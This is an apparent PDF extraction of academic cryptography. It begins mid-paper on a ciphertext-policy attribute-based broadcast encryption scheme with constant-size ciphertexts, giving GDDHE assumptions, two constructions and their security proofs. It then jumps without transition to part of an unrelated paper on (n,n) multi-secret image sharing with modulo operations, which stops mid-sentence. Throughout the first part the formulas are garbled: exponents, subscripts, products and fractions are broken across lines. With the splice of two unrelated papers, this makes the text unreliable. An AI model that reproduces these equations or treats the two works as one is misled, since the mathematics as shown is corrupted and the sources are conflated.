We moreover have bi,j = 0 when there is no efficiently computable homomor-
phism between G and G̃.

Let P,Q,R be as above and f ∈ Fp[X1, . . . , Xn]. The (P,Q,R, f) − GDDHE
problem is defined as follows.

Definition 4. ((P,Q,R, f) − GDDHE) [6].
Given H(x1, . . . , xn) = (gP (x1,...,xn), g̃Q(x1,...,xn), g

R(x1,...,xn)
T ) ∈ G

s × G̃
s ×G

s
T as

above and T ∈ GT decide whether T = g
f(x1,...,xn)
T .

The (P,Q,R, f) − GDDHE assumption says that it is hard to solve the
(P,Q,R, f)−GDDHE problem if f is independent of (P,Q,R). In this paper, we
will prove the security of our schemes under this assumption.

3 Our First Scheme

In this section, we introduce our first scheme that is secure in the standard
model, and achieves the basic selective security.
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3.1 Intuition

Our construction is based on the two main techniques. First, we make use of the
techniques given in the Junod-Karlov ABBE scheme [19] to fight against attribute
collusion. We finally integrate the techniques from the MCBE scheme in [26] to
obtain a ciphertext with a constant size. Note that both ABBE scheme [19] and
MCBE scheme in [26] are constructed from BGW scheme [7].

More precisely, in [7], each element of the header has the form
(
gr, (v ·

∏

j∈βk

gn+1−j)r
)
.

In the Junod-Karlov scheme [19], the authors manage to transform many
instances of the BGW scheme [7] to an attribute-based encryption scheme, such
that one instance of the BGW scheme corresponds to one clause in the CNF
access policy. The resulting attribute-based encryption scheme then contains m
BGW instances where m is the maximal number of clauses in the CNF access
policy. However, this leads to a ciphertext with m + 1 parts. More precisely, for
a CNF access policy A = β1 ∧ · · · ∧ βm, each component βk, k ∈ [m], is related
to a BGW header as (

grtk , (vr
∏

j∈βk

gr
n+1−j)

tk

)
.

In the MCBE scheme given in [26], the authors introduce a technique to multiply
many BGW instances in one single value in order to support the new property
of multi-channel for broadcast encryption. For this purpose, they introduce new
integers xj and provide a unique header given by

(
gr,

m∏

k=1

(v ·
∏

j∈βk

gn+1−j)
r+
∑

j∈βk
xj

)
.

Inspired by the technique given in [26], we manage to multiply the m instances
of the BGW schemes to achieve an ABE scheme with constant-size ciphertext.
Our scheme therefore inherits the properties of the MCBE scheme, as the private
property and the basic selective security.

3.2 Construction

We now give the details of our construction by describing each procedure.

Setup(1λ, ϑ,B(ui)1≤i≤ϑ): the algorithm takes as input the security parameter
λ, the total number of users in the system ϑ, and the attribute repartition
B(ui)1≤i≤ϑ for each user ui, generates the global parameters param of the sys-
tem, the encryption key EK, and ϑ decryption keys dui

, 1 ≤ i ≤ ϑ as follows:
Let (p,G, G̃,GT , e) be a bilinear map group system and let n be the maxi-
mal number of attributes in the system. The set of all possible attributes is
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{A1, . . . , An}. All these elements are considered to be known to each partici-
pant.
The algorithm first picks random generators g ∈ G and g̃ ∈ G̃. It then chooses
a random scalar α ∈ Zp and computes for all i ∈ [1, 2n]\{n + 1}, the values
gi = gαi

and g̃i = g̃αi

. It also chooses at random r ∈ Zp and computes
R = gr and then, for all i ∈ [1, 2n]\{n + 1}, hi = gr

i ∈ G. Next, it picks
random scalars β, γ ∈ Zp and sets B = gβ

n, v = gγ and V = vr. It also
picks additional random scalars x1, x2, . . . , xn ∈ Zp and sets Xi = Rxi for all
i ∈ [1, n]. The public parameters are then

param = (g, g̃, B,R, V, gn, g̃r
1, h1, . . . , hn, hn+2, . . . , h2n,X1, . . . , Xn)

The encryption key is EK = param ∪ {x1, . . . , xn}.
To generate a decryption key du, let B(u) = (Ai1 , . . . , AiN

) be the set of
attributes of user u (among the set of all possible attributes). The algorithm
first picks a random scalar su ∈ Zp, and computes d̃u0 = g̃

r(β+su)
1 , then d̃ui

=
g̃su

i for all i ∈ [1, 2n]\{n + 1}, and finally d̃j = g̃γ·su

j for all j ∈ {i1, · · · , iN}.
The private decryption key for u is

du = (d̃u0 , d̃u1 , . . . , d̃un
, d̃un+2 , . . . , d̃u2n

, d̃i1 , . . . , d̃iN
).

Encrypt(A,EK, param): Assuming that the access policy is expressed in CNF
A = β1 ∧ · · · ∧ βm. The encryption phase works as follows. It first picks a
random scalar t ∈ Zp and sets the session key as

K = e(B, g̃r
1)

m.t+
∑m

k=1
∑

j∈βk
xj = e(gn+1, g̃)r.β(m.t+

∑m
k=1

∑

j∈βk
xj).

It then computes the following values:

C1 = Rt, C2 =
m∏

k=1

(V ·
∏

j∈βk

hn+1−j)
t+
∑

j∈βk
xj , C3 = g

m.t+
∑m

k=1
∑

j∈βk
xj

n .

The header is finally set to Hdr = (A, C1, C2, C3), and the pair (Hdr,K) is
the output.

Decrypt(Hdr, du,B(u), param): This algorithm first parses Hdr = (A, C1,
C2, C3). Then, it computes a partial session key Kk for each clause βk in A,
k ∈ [1,m]. For that purpose, the user u chooses an attribute Ai ∈ (

βk ∩B(u)
)
,

retrieves the corresponding private decryption key d̃i and first computes

Ti = e(C1 ·
∏

j∈βk

Xj , d̃i ·
∏

j∈βk
j �=i

d̃un+1−j+i
).

The partial session key Kk is then computed as

Kk =
e(C2, d̃ui

)

Ti · ∏�=m
�=1
� �=k

e(C1 · ∏
j∈β�

Xj , d̃i · ∏
j∈β�

d̃un+1−j+i)

.
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We then remark that
∏m

k=1 Kk = e(gn+1, g̃)(m.t+
∑m

k=1
∑

j∈βk
xj)r.su . It follows

that the session key can be computed as

K =
e(d̃u0 , C3)
∏m

k=1 Kk
.

For the correctness: We first focus on the partial session key Kk. We use
the relations d̃i = g̃γsu.αi

, d̃ui
= g̃su

i , d̃un+1−j+i
= g̃su

n+1−j+i, and gn+1−j+i =
gαi

n+1−j , g̃n+1−j+i = g̃αi

n+1−j , g
αi

n+1−i = gn+1, g̃
αi

n+1−i = g̃n+1, and V = vr, hi = gr
i .

It follows that

Kk =
e(

∏�=m
�=1 (vr · ∏

j∈β�
gr

n+1−j)
t+
∑

j∈β�
xj , g̃su.αi

)

e(gr(t+
∑

j∈βk
xj), g̃γsu.αi · (

∏
j∈βk
j �=i

g̃su
n+1−j)αi)

·

1
∏�=m

�=1
� �=k

e(gr(t+
∑

j∈β�
xj), g̃γsu.αi · (

∏
j∈β�

g̃su
n+1−j)αi)

=
e((gγ · ∏

j∈βk
gn+1−j)αi

, g̃
t+
∑

j∈βk
xj )r.su

e(gt+
∑

j∈βk
xj , (g̃γ · ∏

j∈βk
j �=i

g̃n+1−j)αi)r.su

·

�=m∏

�=1
� �=k

e((gγ · ∏
j∈β�

gn+1−j)αi

, g̃)r.su.(t+
∑

j∈β�
xj)

e(g, (g̃γ · ∏
j∈β�

g̃n+1−j)αi)r.su.(t+
∑

j∈β�
xj )

.

= e(gαi

n+1−i, g̃
t+
∑

j∈βk
xj )r.su = e(gn+1, g̃

t+
∑

j∈βk
xj )r.su

= e(gn+1, g̃)(t+
∑

j∈βk
xj)r.su

Now focusing on the session key K, we have

e(d̃u0 , C3)
∏m

k=1 Kk
=

e(g̃r(β+su)
1 , g

m.t+
∑m

k=1
∑

j∈βk
xj

n )

e(gn+1, g̃)(m.t+
∑m

k=1
∑

j∈βk
xj)r.su

= e(gn+1, g̃)r.β(m.t+
∑m

k=1
∑

j∈βk
xj),

which exactly corresponds to the key K generated at the encryption step.

Remark 1. In the first scheme, the encryption key EK contains EK = param ∪
{x1, . . . , xn} and thus cannot be public since with the knowledge of {x1, . . . , xn}
adversary can break the semantic security of the first scheme. However, from
the encryption key one cannot generate decryption keys for users. Like the first
scheme in [26], we thus can separate the role of group manager (who generates
the decryption keys) and broadcaster (who encrypts and broadcasts the content).

Remark 2. In the above construction, the attributes cannot be reused in the
access policy since each βk is a disjoint subset (following the technique in [26]). To
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deal with this drawback, as in [29], we allow each attribute to have many copies
of itself. If we assume that kmax is the maximal number of times in which each
attribute can appear in the access formula, then each attribute will have kmax

copies of itself. For example, the attribute professor can be represented by kmax

different attributes professor1, . . . , professorkmax
corresponding to kmax different

secret keys di1 , . . . , dikmax
. A user possessing the attribute professor will receive

kmax corresponding secret keys di1 , . . . , dikmax
. Therefore, the construction above

can support CNF access policy with the cost that the key size is a factor of kmax

larger.

Remark 3. The notion of attribute-based broadcast encryption (ABBE) has then
been introduced in [22] to address the problem of user revocation in an attribute-
based encryption scheme. More precisely, in such system, the broadcaster is
capable of revoking any receiver he wants, despite that these receivers can possess
sufficient attributes to satisfy the access policy.

In fact, following the work in [19], the construction above can easily be
extended to support revocation. For that purpose, we consider the identity of
each user as an additional attribute (without the need to have copies of this
special attribute). Then, to do the revocation, the encryption procedure needs
to add one more set βm+1 containing the identities of privileged (non revoked)
users. The users outside the set βm+1 (revoked users) cannot decrypt because it
lacks the partial session key corresponding to the set βm+1. It follows that the
key size in our scheme will be similar to the one in Junod-Karlov scheme [19],
that is linear in the maximal number of users in the system.

This way, we obtain the first ABBE scheme with constant size ciphertext.

3.3 Security

In this section, we first give a theorem to prove that our first scheme achieves
basic selective security under a (P,Q,R, f)−GDDHE assumption. We then show
that this assumption holds in the generic group model.

More precisely, following the security model we define in Sect. 2.1 the adver-
sary first outputs the target access policy A

∗ as well as a repartition B(ui)1≤i≤ϑ

which he intends to attack. The challenger then runs the setup algorithm and
returns the param, decryption keys of all user ui where B(ui) does not satisfy
the target access policy A

∗ to the adversary, he also computes and returns the
challenge header to the adversary. The adversary finally needs to make his guess
on bit b. According to the framework of GDDHE assumption, we can describe
this fact as a (P,Q,R, f) − GDDHE assumption as follows. Let P,Q,R be the
list of polynomials consisting of all elements corresponding to the public global
parameters, the private decryption keys of corrupted users, and the challenge
header.
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P = {1, r, αnβ, rγ, αn, rα, . . . , rαn, rαn+2, . . . , rα2n, x1r, . . . , xnr,

rt, αn(mt +
m∑

k=1

∑

j∈βk

xj),
m∑

k=1

(rγ +
∑

j∈βk

αn+1−jr)(t +
∑

j∈βk

xj)}

Q = {1, αr, r(β + su)α, αsu, . . . , αnsu, αn+2su, . . . , α2nsu, αi1γsu, . . . , αiN γsu}

R = {1}, f = αn+1rβ(mt +
m∑

k=1

∑

j∈βk

xj)

For all corrupted user u, 1 ≤ N = |B(u)| ≤ n.

Theorem 1. If there exists an adversary A that solves the basic selective secu-
rity of our first scheme with advantage ε, then we can construct a simulator to
solve the (P,Q,R, f) − GDDHE assumption above with the same advantage ε in
polynomial time.

Proof. Assume that B is a simulator that solves the (P,Q,R, f) − GDDHE
assumption above. At the beginning, B is given an instance of the (P,Q,R, f)−
GDDHE assumption, i.e., all elements corresponding to the public global para-
meters, the private decryption keys of corrupted users, and the challenge header
(denoted gP (... ), g̃Q(... ), g

R(... )
T ), as well as an element K such that K = e(g, g̃)f

if bit b = 0, and K is a random element in GT if b = 1. B will use this instance to
simulate A and use the output of A to guess bit b. To do that, in the setup phase
B gives A the public global parameters, the private decryption keys of corrupted
users. Finally in the challenge phase, B gives A the challenge header as well as
K. We note that all of these information are in gP (... ), g̃Q(... ). When A outputs
its guess for b, B uses this guess to break the security of the (P,Q,R, f)−GDDHE
assumption. Since the simulation is perfect and A has advantage ε, B also has
the same advantage ε in solving the (P,Q,R, f) − GDDHE assumption. 
�
We are now going to prove that (P,Q,R) and f are independent, so that the
(P,Q,R, f) − GDDHE assumption holds in our case.

Lemma 1. In the (P,Q,R, f)−GDDHE assumption above, (P,Q,R) and f are
linearly independent.

Proof. We prove for the general case where we allow all polynomials in P,Q to
multiply with each other, which is exactly the symmetric pairing when P,Q are
in the same group. For notational simplicity, we denote P = P ∪ Q.

Suppose that f is not independent to (P,Q,R), i.e., one can find ai,j , ci such
that the following equation holds

f =
∑

{pi,pj}⊂P

ai,j · pi · pj + ci

Assume that ΛC is the list of corrupted users. We will use β to analyze f ,
set qu = αr(β + su), u ∈ ΛC , P ′ = P\{qu}u∈ΛC

. We rewrite f as follows:
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f =
∑

{u,v}⊂ΛC

au,vquqv +
∑

u∈ΛC ,pi∈P ′
au,ipiqu +

∑

{pi,pj}⊂P ′
ai,jpipj +ci = f1+f2+f3

Consider f1, we rewrite it as follows:

f1 =
∑

{u,v}⊂ΛC

au,vquqv =
∑

{u,v}⊂ΛC

au,vα2r2(β2 + βsu + βsv + susv)

Since su, sv are random elements thus the value au,vα2r2susv is unique. On the
other hand, this value doesn’t appear in f = αn+1rβ(mt+

∑m
k=1

∑
j∈βk

xj), this
leads to the fact that au,v = 0 for any {u, v} ⊂ ΛC , or we have f1 = 0.

Consider f2 =
∑

u∈ΛC ,pi∈P ′ au,ipiqu, to let it appear the needed term αn+1rβ
we divide the polynomials pi ∈ P ′ into two subsets, one containing the term αn

denoted P ′
1, and one doesn’t denoted P ′

2. We now rewrite f2 as follows:

f2 =
∑

u∈ΛC ,pi∈P ′
1

au,ipiqu +
∑

u∈ΛC ,pi∈P ′
2

au,ipiqu

=
∑

u∈ΛC ,pi∈P ′
1

au,ipiαr(β + su) +
∑

u∈ΛC ,pi∈P ′
2

au,ipiqu.

We therefore obtain the equation

f = αn+1rβ(mt +
m∑

k=1

∑

j∈βk

xj) (1)

=
∑

u∈ΛC ,pi∈P ′
1

au,ipiαr(β + su) +
∑

u∈ΛC ,pi∈P ′
2

au,ipiqu + f3

Since the term αn+1rβ only appear in
∑

u∈ΛC ,pi∈P ′
1
au,ipiαr(β + su),

to make the Eq. (1) hold one needs to remove the term related to su in∑
u∈ΛC ,pi∈P ′

1
au,ipiαr(β + su), and the only way to do that is to produce the

term
∑

u∈ΛC ,pi∈P ′
1
au,ipiαrsu for each u ∈ ΛC .

On the other hand, to make the term

f = αn+1rβ(mt +
m∑

k=1

∑

j∈βk

xj)

appear, the polynomial pi, pi ∈ P ′
1, cannot have the form containing αnβ or

αnr, or αnsu (if not, it will make the redundancy when multiplying with qu =
αr(β + su)). The only one such pi comes from pi = αn(mt +

∑m
k=1

∑
j∈βk

xj).
This leads to the fact that one only can produce the term

∑

u∈ΛC

au,iα
n+1r(β + su)(mt +

m∑

k=1

∑

j∈βk

xj)
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That means one needs to produce the term related to su:

f ′ =
∑

u∈ΛC

au,iα
n+1rsu(mt +

m∑

k=1

∑

j∈βk

xj)

Since each user u ∈ ΛC lacks at least one term αn+1rsu(t+
∑

j∈βk
xj) for some βk

and no one can help because of the unique value su, therefore one cannot reach
to f ′. That means the Eq. (1) cannot hold or f is independent to (P,Q,R). 
�

4 Our Second Scheme

We now give the details of our second scheme, which aims at improving the first
scheme regarding the security. More precisely, it achieves selective CCA security
under again a similar GDDHE assumption, in the random oracle model.

4.1 Construction

In this construction, instead of generating the terms Xi, we use a random oracle
to generate them at the time of encryption. In addition, we add a dummy clause
containing only one attribute An to any access formula, and allow all users in
the system to possess this attribute. This way, we are able to reach the selective
CCA security.

Setup(1λ, ϑ,B(ui)1≤i≤ϑ): Similar to the one in the first construction, except
that the algorithm here uses an additional random oracle H on to G and
h̃ = g̃r. The public parameters1 are then

param = (g, g̃, h, h̃, V, gn, h1, . . . , hn, hn+2, . . . , h2n,H)

The encryption key is EK = (r, β, γ, α) ∪ param.
To generate the decryption key for user u, similar to the one in the first
construction, let B(u) = (Ai1 , . . . , AiN

, An) be the set of attributes of user u.
The private decryption key for u is

du = (d̃u0 , d̃u1 , . . . , d̃un
, d̃un+2 , . . . , d̃u2n

, d̃i1 , . . . , d̃iN
, d̃n).

Encrypt(A,EK, param): Assume that the access policy is expressed in CNF
A = β1 ∧ β2 ∧ · · · ∧ βm, where βm is a dummy clause that only contains the
attribute An. The encryption phase works as follows: it first picks a random
scalar t

$← Zp, and then computes Yi = H(i, ht) = hyi for i = 1, . . . ,m with
unknown scalars yi. The session key is then computed as:

K = e(gn+1, g̃)r.β.m.t
m∏

k=1

e(Yk, g̃β
n+1) = e(gn+1, g̃)r.β(m.t+

∑m
k=1 yk).

1 We make the choice of putting all these values into param, so that the encryptor
doesn’t need to re-compute these values when encrypting. Another possibility is to
set param = {g, g̃, h, h̃,H} and re-compute all others values when encrypting.
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Next, one computes:
C1 = ht, C̃1 = h̃t,

C2 =
k=m∏

k=1

Y γ
k V t

∏

j∈βk

Y αn+1−j

k ht
n+1−j =

k=m∏

k=1

(V ·
∏

j∈βk

hn+1−j)t+yk ,

C3 = gm.t
n ·

m∏

k=1

((Yk)r−1
)αn

= g
m.t+

∑m
k=1 yk

n , C4 = H(C1, C2, C3)t

The broadcaster can easily compute K and Hdr because it knows the values
r, β, α, γ, g, g̃ from EK. The header is set to Hdr = (A, C1, C̃1, C2, C3, C4), and
the pair (Hdr,K) is the output.

Decrypt(Hdr, du,B(u), param): The user u first parses the header Hdr as above:
(A, C1, C̃1, C2, C3, C4). It then checks whether the equations

e(C1, h̃) = e(h, C̃1) and e(H(C1, C2, C3), C̃1) = e(h̃, C4)

hold. It then computes Yi = H(i, C1) for i = 1, . . . ,m. For each clause βk in
A, the user u chooses an attribute Ai ∈ (

βk ∩ B(u)
)

and computes, as in the
previous scheme, for each k ∈ [1,m]:

Kk =
e(C2, d̃ui

)

e(C1 · Yk, d̃i · ∏
j∈βk
j �=i

d̃un+1−j+i
) · ∏�=m

�=1
� �=k

e(C1 · Y�, d̃i · ∏
j∈β�

d̃un+1−j+i
)

= e(gn+1, g̃)(t+yk)r.su .

We remark that
∏m

k=1 Kk = e(gn+1, g̃)(m.t+
∑m

k=1 yk)r.su . The session key is
then computed as:

K =
e(C3, d̃u0)∏m

k=1 Kk
=

e(gm.t+
∑m

k=1 yk
n , g̃

r(β+su)
1 )

e(gn+1, g̃)(m.t+
∑m

k=1 yk)r.su
= e(gn+1, g̃)r.β(m.t+

∑m
k=1 yk).

4.2 Security

In this section, we first give a theorem to prove that our second scheme is selective
CCA secure under a (P,Q,R, f) − GDDHE assumption. We then show that this
assumption holds in the generic group model.

The (P,Q,R, f)−GDDHE assumption that we need is, in fact, similar to the
one given in Sect. 3.3, except that the terms rx1, . . . , rxn are now replaced by the
terms ry1, . . . , rym, z, zt. More precisely, let P,Q,R be the list of polynomials
consisting of all elements corresponding to the public global parameters, the
private decryption keys of revoked users, and the challenge header.
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P =
{
1, r, rγ, αn, rα, . . . , rαn, rαn+2, . . . , rα2n, ry1, . . . , rym, z, zt, rt,

αn(mt +
m∑

k=1

yk),
m∑

k=1

(rγ +
∑

j∈βk

αn+1−jr)(t + yk)
}

Q =
{
1, rt, r(β + su)α, αsu, . . . , αnsu, αn+2su, . . . , α2nsu,

αi1γsu, . . . , αiN γsu, αnγsu

}
,

R = {1}, and f = αn+1rβ(mt +
m∑

k=1

yk).

For each user u belonging to the set of corrupted users, we have 1 ≤ N =
|B(u)| < n. This assumption can now be re-written as follows. Given

g, g̃, g̃
r(β+su)
1 , g̃su

1 , . . . , g̃su
n , g̃su

n+2, . . . , g̃
su
2n, g̃γsu

i1
, . . . , g̃γsu

iN
, g̃γsu

n

h, V, gn, h1, . . . , hn, hn+2, . . . , h2n, hy1 , . . . , hym , gz, gzt

ht, h̃t,

k=m∏

k=1

(V ·
∏

j∈βk

hn+1−j)t+yk , g
m.t+

∑m
k=1 yk

n .

for all corrupted user u, distinguish between the value e(gn+1, g̃)r.β(m.t+
∑m

k=1 yk)

and a random T ∈ GT .

Theorem 2. Our second scheme is selective−CCA secure under CDH assump-
tion and the (P,Q,R, f) − GDDHE assumption above.

Proof. Let Hdr = (A, C1, C̃1, C2, C3, C4) be the challenge header. Similar to the
proof of MCBE2 scheme, we will prove the security of CP-ABBE2 scheme in
two steps. First, we prove that the adversary cannot produce any decryption
query of the form Hdr′ = (A, C1, C̃ ′

1, C
′
2, C

′
3, C

′
4) under the CDH assumption.

In the second step, we prove that our second scheme is selective−CCA secure
under (P,Q,R, f)−GDDHE assumption with the requirement that the adversary
doesn’t ask any query Hdr′ = (A, C1, C̃ ′

1, C
′
2, C

′
3, C

′
4).

First step. This step is similar to the first step in the proof of MCBE2 scheme,
we thus refer the reader to the one in the proof of MCBE2 scheme.

Second step. First, the simulator is given the instance of aforementioned
(P,Q,R, f)−GDDHE assumption. Let A be an adversary against the security of
our second scheme. The simulator will use the guess of A to break the instance of
(P,Q,R, f) −GDDHE assumption. For that purpose, the simulator first receives
the target access policy A from the adversary A as well as the repartition of
attributes for each user, from the instance of (P,Q,R, f) − GDDHE assump-
tion the simulator gives A the public parameters, and the decryption keys of
all corrupted users. The simulator also needs to answer the following types of
queries.

1. Hash query : There are two types of hash queries, (j, h∗) ∈ Zp × G or
(h∗

1, h
∗
2, h

∗
3) ∈ G

3. For any query q, if it has been asked before, the same
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answer is sent back. Otherwise, for the (j, h∗) queries the simulator randomly
chooses y ∈ Zp and sets H(q) = hy, and appends the tuple (q, hy, y) to the
hash list. If the value y is unknown, it is replaced by ⊥. For the (h∗

1, h
∗
2, h

∗
3)

query, the simulator randomly chooses z∗ ∈ Zp and set H(q) = gz∗
, and

appends the tuple (q, gz∗
, z∗) to the hash list. If the value z∗ is unknown, it

is replaced by ⊥.
2. Encryption query : A sends an access policy A = β′

1∧β′
2∧· · ·∧β′

� to simulator
where β′

� = An. The simulator first randomly chooses t′, z′, y′
1, . . . , y

′
� ∈ Zp

and appends to the hash list the tuple (q′
z′ , gz′

, z′) and for all i = 1, . . . , 	, the
tuples (q′

i, h
y′

i , y′
i). It takes the private decryption key of a user u and then

computes:

K = (
e(g̃r(β+su)

1 , gn)
e(g̃su

n , gr
1)

)t′�+
∑�

k=1 y′
k = e(gn+1, g̃)r.β(t′�+

∑�
k=1 y′

k)

C1 = ht′
, C̃1 = h̃t′

, C2 =
k=�∏

k=1

(V ·
∏

j∈βk

hn+1−j)t′+y′
k ,

C3 = g
t′�+

∑�
k=1 y′

k
n , C4 = gz′t′

.

3. Decryption query : we assume that A sends the following ciphertext to the
simulator (note that t′ �= t since one cannot reuse the C1 in the challenge
header):

C1 = ht′
, C̃1 = h̃t′

, C2 =
k=m′
∏

k=1

(V ·
∏

j∈βk

hn+1−j)t′+y′
k ,

C3 = g
m′.t′+

∑m′
k=1 y′

k
n , C4 = H(C1, C2, C3)t′

The simulator first checks whether the equations e(C1, h̃) = e(h, C̃1) and
e(H(C1, C2, C3), C̃1) = e(h̃, C4) hold, takes the private decryption key of a
corrupted user u and then uses the secret key d̃n corresponding to attribute
An in the clause βm′ to compute the value e(gn+1, g̃)(t

′+y′
m′ )r.su . It extracts

the value y′
m′ from the hash list (since t′ �= t) and compute e(g̃su

n , gr
1)

y′
m′ . This

permits to obtain the value

e(gn+1, g̃)(t
′+y′

m′ )r.su

e(g̃su
n , gr

1)
y′

m′
= e(gn+1, g̃)t′.r.su .

Next, it extracts all the values from y′
1 to y′

m′−1 from the hash list (since
t′ �= t) and computes the partial session keys related to each clause βi, i =
1, . . . ,m′ − 1

Ki = e(gn+1, g̃)t′.r.su · e(g̃su
n , gr

1)
y′

i = e(gn+1, g̃)(t
′+y′

i)r.su .

The simulator can finally recover the following session key and forwards the
result to A.

K = e(gn+1, g̃)r.β(t′m′+
∑m′

k=1 y′
k).
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Next, during the challenge phase, the simulator first appends to the hash list the
values H(i, ht) = (qi, h

yi ,⊥), for all i = 1, . . . ,m and the values H(C1, C2, C3) =
(qz, g

z,⊥). It then sends the following challenge ciphertext to A:

C1 = ht, C̃1 = h̃t, C2 =
k=m∏

k=1

(V ·
∏

j∈βk

hn+1−j)t+yk , C3 = g
m.t+

∑m
k=1 yk

n , C4 = gzt.

If A make new requests to the different oracles, the simulator can use again
the above strategy. Finally, when A outputs its guess for b, the simulator uses
this guess to break the security of the (P,Q,R, f) − GDDHE assumption. 
�
The following lemma finally shows that in the aforementioned (P,Q,R, f) −
GDDHE assumption, (P,Q,R) and f are linearly independent. The proof of this
lemma is similar to the one given for Lemma 1 and, therefore, we do not repeat
it again.

Lemma 2. In the (P,Q,R, f)−GDDHE assumption above, (P,Q,R) and f are
linearly independent.

5 Conclusion

In this paper, we proposed two private CP-ABE schemes with constant size of the
ciphertext. Our schemes support a restricted form of CNF access policy, and can
naturally be extended to allow the revocation. We leave the challenging problem
of how to improve the efficiency of our schemes for the future work.
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Abstract. Multi Secret Image Sharing (MSIS) scheme is a protected
method to transmit more than one secret image over a communication
channel. Traditionally, a single secret image is shared over a channel at
a time. But as technology deepen, there arises a need for sharing more
than one secret image. An (n, n)-MSIS scheme is used to encrypt n secret
images into n meaningless shared images. To recover n secret images all
n shared images are needed. In the state of the art, secrets are partially
revealed from less than n shares. In this paper, we propose enhanced
(n, n)-MSIS scheme based on modulo operation for binary, grayscale,
and colored images. To increase the randomness of shared images we
used Bitshift and Reversebit function. The experimental results show
that the proposed scheme is highly secure and outperforms the existing
MSIS schemes in terms of security.

Keywords: MSIS · Modulo operation · Bitshift · Reversebit ·
Randomness

1 Introduction

In present time, with upgrade of technology, digital media also increases rapidly.
This increase concern over security in digital media. Due to this concern various
techniques for data hiding were introduced like Watermarking, Steganography,
and Cryptography. These methods are well known and intensely used to hide the
secret information. In cryptography we use keys to encrypt or decrypt data. Key
refers to string of characters, which is used to encrypt or decrypt data at sender
as well as receiver side. The main disadvantage associated with this method
is sharing a key between sender and receiver. If some intruder gets access to
the key, he can easily decode any secure message transfer between sender and
receiver [13]. To overcome this problem secret sharing scheme is used. Secret
sharing scheme first proposed by Shamir [15] and Blakley [2], where a secret
image is encrypted into shares which do not reveal any information about secret
image and for decryption sufficient number of shares are stacked. Questions may
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arise, why do we need another secure method for security when we have enough
of them? How secret sharing schemes have advantages over others? If somehow
attacker gets access to some shared images it cannot reconstruct secret image
from them which can be easily done in case of cryptography. On receiver side, it
can be easily reconstructed without loss or with negligible loss of information.
Secret sharing scheme has many application areas such as access control, highly
classified information, missile launch codes, sharing data over untrusted chan-
nels, areas where trust plays an essential role etc. To achieve higher reliability
and confidentiality, we use secret sharing scheme as by storing shared images on
different database servers increases reliability as well as confidentiality. The shar-
ing of multiple secrets is a novel and useful application. In (n, n)-MSIS scheme
n secret images are encrypted into n number of shares which independently dis-
close no information about the n secret images. For recovery of secret images,
all n shares are required [3].

The limitations of state-of-the-art schemes [4,6,18] are these schemes disclose
the partial secret information from less than n shares, XOR operation on any
two secret images do not produce random shares, and XOR is time consum-
ing because it performs a bit-by-bit operation. To overcome these problems we
propose a new (n, n)-MSIS scheme using modulo operation. The main goal of
modulo over XOR operation is to minimize the computational time. To increase
the randomness of shares we used Bitshift and Reverse bit function with modulo
operation.

The rest of this paper is organized as follows. Section 2, discusses the state of
the art of secret sharing schemes and multi secret sharing schemes. The proposed
(n, n)-MSIS schemes are presented in Sect. 3. In Sect. 4, the experimental results
and discussions are shown. Section 5 concludes the paper and discusses future
work of MSIS schemes.

2 Related Work

A (k, n)-RG based VSS scheme was proposed by Chen and Tsao et al. [5] for
binary and color images. A secret image is encrypted into n meaningless ran-
dom grids. This scheme uses atleast k shares to reveal secret image. Beimel et
al. [1] proposed secret sharing scheme for very dense graphs. Deshmukh et al.
[9] presents a comparative study of (k, n) visual secret sharing scheme for binary
images and also (n, n) secret sharing for binary and grayscale images. Kumar et al.
[11] proposed (k, n)-threshold based visual secret sharing scheme. A secret is
revealed only when atleast k shares are stacked, less than k shares are not reveal
the secret information.

Chen et al. [6] proposed (n, n + 1)-MSIS scheme based on simple Boolean
XOR operation. In this scheme, n secret images are used to create n + 1 shared
images and to decode them, all n + 1 shared images are needed. In this scheme
sharing capacity of multiple secret images are increased but it failed to produce
randomized shared images because of simple Boolean XOR operation on secret
images. Chen et al. [4] presented a secure Boolean based (n, n)-MSIS scheme. In
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this scheme to increase the randomness in shared images Bitshift function is used.
This scheme requires more time because of Bitshift function. Yang et al. [18] pro-
posed an enhanced boolean based strong threshold (n, n)-MSS scheme, it do not
leak the partial secret information from less than n shares. Hsu et al. [10] pro-
posed an ideal linear MSIS scheme based on graph connectivity. This scheme pro-
vides efficiency for key management and it satisfies the definition of a perfect MSIS
scheme. Lin et al. [12] proposed a novel random grid based MSIS scheme. Secret
images are encoded into two pie shared images and it can be decoded by stacking
one pie share on another at different angle of rotation. Daoshun et al. [17] pro-
posed (n, n) scheme using XOR operation for gray scale images. In this scheme,
n secret images are encrypted into n shared images. No shared image individu-
ally reveal any information about secret images but, if less than n shared images
are stacked over each other, partial information is revealed. Deshmukh et al.
[8] proposed a novel approach of (n, n)-MSIS scheme using additive modular arith-
metic. In this scheme n secrets are used to generate n shared images and for recov-
ery of secret images all shares are needed. No individual share reveals partial infor-
mation. Shyong et al. [16] proposed a (n, n)- MSIS scheme using random grids for
encryption of gray images as well as color images. Individual shares do not reveal
any information, whereas the secrets can be revealed when two shared images are
stacked over each other. Both are accurate and no pixel expansion.

3 Proposed Method

In literature, many MSIS schemes are discussed like (n, n) and (n, n + 1). In
these schemes n secret images are shared among n or n + 1 participants and to
recover these n secret images all n or n+ 1 shared images are required. Most of
the MSIS schemes reveals partial secret information from less than n or n + 1
shared images, which compromises security [4,6]. Deshmukh et al. [7] discussed
(n, n)-MSIS schemes using Boolean XOR and Modular Arithmetic. The main
drawback of these schemes is, if we apply Reversebit operation on first share we
will get first secret image it means that first share is not a combination of any
secret images. So first share is not secure. Mohit et al. [14] proposed (n, n + 1)-
MSIS scheme using additive modulo. In this scheme number of shared images
are increased. Proposed scheme is highly secure and number of shared images are
equal to the number of secret images. Proposed scheme uses modulo operation
rather than XOR which is conventionally used. The main advantage of additive
modulo over XOR operation is that it takes minimum time for computation.

Modular arithmetic are of two types i.e. additive inverse and multiplicative
inverse. In additive inverse, addition and modulo operations are used. We say
two numbers are additive inverse of each other if X + Y ≡ 0(mod n) where X
and Y are additive inverse of each other. Each integer has an unique additive
inverse. For grayscale images and color images, pixel value ranges from 0 − 255
and each number from 0 − 255 has an additive inverse and its modulus value
is 256. In multiplicative inverse, multiplication and modulo operations are used.
if X × Y ≡ 1(mod n) where X and Y are multiplicative inverse of each other.
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Each number may or may not have a multiplicative inverse in this range. We
have used additive inverse rather than multiplicative inverse.

In proposed scheme, n secret images Ii, i = 1, 2, · · · , n are encrypted into
n shared images Si, i = 1, 2, · · · , n. Temporary shares Ti, i = 1, 2, · · · , n are
generated by performing division operation on secret images Ii, i = 1, 2, · · · , n
